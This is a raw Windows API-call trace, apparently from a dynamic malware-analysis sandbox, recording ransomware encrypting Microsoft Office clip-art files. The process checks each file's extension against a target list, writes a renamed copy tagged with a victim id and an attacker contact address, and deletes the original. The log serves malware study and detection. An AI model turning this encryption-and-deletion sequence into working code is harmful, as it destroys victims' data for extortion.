	[0070.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68
	[0070.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68
	[0070.939] lstrlenW (lpString=".doc") returned 4
	[0070.939] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0070.939] lstrlenW (lpString=".docx") returned 5
	[0070.939] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0070.939] lstrlenW (lpString=".pdf") returned 4
	[0070.939] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0070.939] lstrlenW (lpString=".xls") returned 4
	[0070.939] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0070.939] lstrlenW (lpString=".xlsx") returned 5
	[0070.939] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0070.939] lstrlenW (lpString=".ppt") returned 4
	[0070.940] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0070.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68
	[0070.940] lstrlenW (lpString=".zip") returned 4
	[0070.940] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0070.940] lstrlenW (lpString=".rar") returned 4
	[0070.940] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0070.940] lstrlenW (lpString=".bz2") returned 4
	[0070.940] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0070.940] lstrlenW (lpString=".7z") returned 3
	[0070.940] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0070.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68
	[0070.940] lstrlenW (lpString=".dbf") returned 4
	[0070.940] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0070.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68
	[0070.940] lstrlenW (lpString=".1cd") returned 4
	[0070.940] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0070.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68
	[0070.940] lstrlenW (lpString=".jpg") returned 4
	[0070.940] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0070.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68
	[0070.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68
	[0070.940] lstrlenW (lpString=".doc") returned 4
	[0070.940] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0070.940] lstrlenW (lpString=".docx") returned 5
	[0070.940] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0070.940] lstrlenW (lpString=".pdf") returned 4
	[0070.940] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0070.940] lstrlenW (lpString=".xls") returned 4
	[0070.940] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0070.940] lstrlenW (lpString=".xlsx") returned 5
	[0070.940] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0070.941] lstrlenW (lpString=".ppt") returned 4
	[0070.941] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0070.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68
	[0070.941] lstrlenW (lpString=".zip") returned 4
	[0070.941] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0070.941] lstrlenW (lpString=".rar") returned 4
	[0070.941] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0070.941] lstrlenW (lpString=".bz2") returned 4
	[0070.941] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0070.941] lstrlenW (lpString=".7z") returned 3
	[0070.941] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0070.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68
	[0070.941] lstrlenW (lpString=".dbf") returned 4
	[0070.941] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0070.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68
	[0070.941] lstrlenW (lpString=".1cd") returned 4
	[0070.941] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0070.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68
	[0070.941] lstrlenW (lpString=".jpg") returned 4
	[0070.941] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0070.942] lstrcmpiW (lpString1=".GIF", lpString2=".html") returned -1
	[0070.942] lstrlenW (lpString="AG00176_.GIF") returned 12
	[0070.942] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00176_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0070.943] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x361ff14 | out: lpFileSize=0x361ff14*=3120) returned 1
	[0070.943] CloseHandle (hObject=0x320) returned 1
	[0070.943] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00176_.gif")) returned 0x220
	[0070.944] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00176_.gif.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0070.945] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00176_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0070.945] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0070.945] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0070.945] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00176_.gif.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0070.946] GetLastError () returned 0x0
	[0070.946] ReadFile (in: hFile=0x380, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0xc30, lpOverlapped=0x0) returned 1
	[0070.955] WriteFile (in: hFile=0x33c, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0xc40, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0xc40, lpOverlapped=0x0) returned 1
	[0070.956] ReadFile (in: hFile=0x380, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x0, lpOverlapped=0x0) returned 1
	[0070.956] WriteFile (in: hFile=0x33c, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0xec, lpOverlapped=0x0) returned 1
	[0070.956] SetEndOfFile (hFile=0x33c) returned 1
	[0070.956] CloseHandle (hObject=0x33c) returned 1
	[0070.957] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0070.957] SetEndOfFile (hFile=0x380) returned 1
	[0070.958] CloseHandle (hObject=0x380) returned 1
	[0070.960] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0070.960] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00176_.gif")) returned 1
	[0070.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68
	[0070.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68
	[0070.961] lstrlenW (lpString=".doc") returned 4
	[0070.961] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0070.961] lstrlenW (lpString=".docx") returned 5
	[0070.961] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0070.961] lstrlenW (lpString=".pdf") returned 4
	[0070.961] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0070.961] lstrlenW (lpString=".xls") returned 4
	[0070.961] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0070.961] lstrlenW (lpString=".xlsx") returned 5
	[0070.961] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0070.961] lstrlenW (lpString=".ppt") returned 4
	[0070.961] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0070.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68
	[0070.961] lstrlenW (lpString=".zip") returned 4
	[0070.962] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0070.962] lstrlenW (lpString=".rar") returned 4
	[0070.962] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0070.962] lstrlenW (lpString=".bz2") returned 4
	[0070.962] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0070.962] lstrlenW (lpString=".7z") returned 3
	[0070.962] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0070.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68
	[0070.962] lstrlenW (lpString=".dbf") returned 4
	[0070.962] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0070.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68
	[0070.962] lstrlenW (lpString=".1cd") returned 4
	[0070.962] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0070.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68
	[0070.962] lstrlenW (lpString=".jpg") returned 4
	[0070.962] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0070.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68
	[0070.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68
	[0070.962] lstrlenW (lpString=".doc") returned 4
	[0070.962] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0070.962] lstrlenW (lpString=".docx") returned 5
	[0070.962] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0070.962] lstrlenW (lpString=".pdf") returned 4
	[0070.962] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0070.962] lstrlenW (lpString=".xls") returned 4
	[0070.962] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0070.962] lstrlenW (lpString=".xlsx") returned 5
	[0070.962] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0070.962] lstrlenW (lpString=".ppt") returned 4
	[0070.962] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0070.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68
	[0070.963] lstrlenW (lpString=".zip") returned 4
	[0070.963] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0070.963] lstrlenW (lpString=".rar") returned 4
	[0070.963] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0070.963] lstrlenW (lpString=".bz2") returned 4
	[0070.963] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0070.963] lstrlenW (lpString=".7z") returned 3
	[0070.963] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0070.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68
	[0070.963] lstrlenW (lpString=".dbf") returned 4
	[0070.963] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0070.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68
	[0070.963] lstrlenW (lpString=".1cd") returned 4
	[0070.963] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0070.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68
	[0070.963] lstrlenW (lpString=".jpg") returned 4
	[0070.963] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0070.963] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0070.964] lstrlenW (lpString="AN00015_.WMF") returned 12
	[0070.964] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00015_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0070.964] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x361ff14 | out: lpFileSize=0x361ff14*=4734) returned 1
	[0070.964] CloseHandle (hObject=0x380) returned 1
	[0070.964] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00015_.wmf")) returned 0x220
	[0070.964] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00015_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0070.964] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00015_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0070.964] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0070.964] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0070.964] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00015_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0070.965] GetLastError () returned 0x0
	[0070.965] ReadFile (in: hFile=0x380, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x127e, lpOverlapped=0x0) returned 1
	[0070.975] WriteFile (in: hFile=0x33c, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0x1280, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0x1280, lpOverlapped=0x0) returned 1
	[0070.976] ReadFile (in: hFile=0x380, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x0, lpOverlapped=0x0) returned 1
	[0070.976] WriteFile (in: hFile=0x33c, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0xec, lpOverlapped=0x0) returned 1
	[0070.976] SetEndOfFile (hFile=0x33c) returned 1
	[0070.977] CloseHandle (hObject=0x33c) returned 1
	[0070.977] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0070.977] SetEndOfFile (hFile=0x380) returned 1
	[0070.978] CloseHandle (hObject=0x380) returned 1
	[0070.979] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0070.979] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00015_.wmf")) returned 1
	[0070.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68
	[0070.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68
	[0070.979] lstrlenW (lpString=".doc") returned 4
	[0070.979] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0070.979] lstrlenW (lpString=".docx") returned 5
	[0070.980] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0070.980] lstrlenW (lpString=".pdf") returned 4
	[0070.980] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0070.980] lstrlenW (lpString=".xls") returned 4
	[0070.980] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0070.980] lstrlenW (lpString=".xlsx") returned 5
	[0070.980] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0070.980] lstrlenW (lpString=".ppt") returned 4
	[0070.980] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0070.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68
	[0070.980] lstrlenW (lpString=".zip") returned 4
	[0070.980] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0070.980] lstrlenW (lpString=".rar") returned 4
	[0070.980] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0070.980] lstrlenW (lpString=".bz2") returned 4
	[0070.980] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0070.980] lstrlenW (lpString=".7z") returned 3
	[0070.980] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0070.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68
	[0070.980] lstrlenW (lpString=".dbf") returned 4
	[0070.980] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0070.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68
	[0070.980] lstrlenW (lpString=".1cd") returned 4
	[0070.980] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0070.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68
	[0070.980] lstrlenW (lpString=".jpg") returned 4
	[0070.980] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0070.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68
	[0070.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68
	[0070.981] lstrlenW (lpString=".doc") returned 4
	[0070.981] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0070.981] lstrlenW (lpString=".docx") returned 5
	[0070.981] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0070.981] lstrlenW (lpString=".pdf") returned 4
	[0070.981] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0070.981] lstrlenW (lpString=".xls") returned 4
	[0070.981] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0070.981] lstrlenW (lpString=".xlsx") returned 5
	[0070.981] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0070.981] lstrlenW (lpString=".ppt") returned 4
	[0070.981] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0070.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68
	[0070.981] lstrlenW (lpString=".zip") returned 4
	[0070.981] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0070.981] lstrlenW (lpString=".rar") returned 4
	[0070.981] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0070.981] lstrlenW (lpString=".bz2") returned 4
	[0070.981] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0070.981] lstrlenW (lpString=".7z") returned 3
	[0070.981] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0070.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68
	[0070.982] lstrlenW (lpString=".dbf") returned 4
	[0070.982] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0070.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68
	[0070.982] lstrlenW (lpString=".1cd") returned 4
	[0070.982] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0070.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68
	[0070.982] lstrlenW (lpString=".jpg") returned 4
	[0070.982] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0070.982] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0070.982] lstrlenW (lpString="AN00853_.WMF") returned 12
	[0070.982] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00853_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0070.983] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x361ff14 | out: lpFileSize=0x361ff14*=20578) returned 1
	[0070.984] CloseHandle (hObject=0x33c) returned 1
	[0070.984] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00853_.wmf")) returned 0x220
	[0070.984] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00853_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0070.985] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00853_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0070.985] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0070.985] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0070.985] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00853_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0070.986] GetLastError () returned 0x0
	[0070.986] ReadFile (in: hFile=0x338, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x5062, lpOverlapped=0x0) returned 1
	[0070.997] WriteFile (in: hFile=0x320, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0x5070, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0x5070, lpOverlapped=0x0) returned 1
	[0070.998] ReadFile (in: hFile=0x338, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x0, lpOverlapped=0x0) returned 1
	[0070.998] WriteFile (in: hFile=0x320, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0xec, lpOverlapped=0x0) returned 1
	[0070.998] SetEndOfFile (hFile=0x320) returned 1
	[0070.998] CloseHandle (hObject=0x320) returned 1
	[0071.109] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.109] SetEndOfFile (hFile=0x338) returned 1
	[0071.145] CloseHandle (hObject=0x338) returned 1
	[0071.145] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0071.146] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00853_.wmf")) returned 1
	[0071.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68
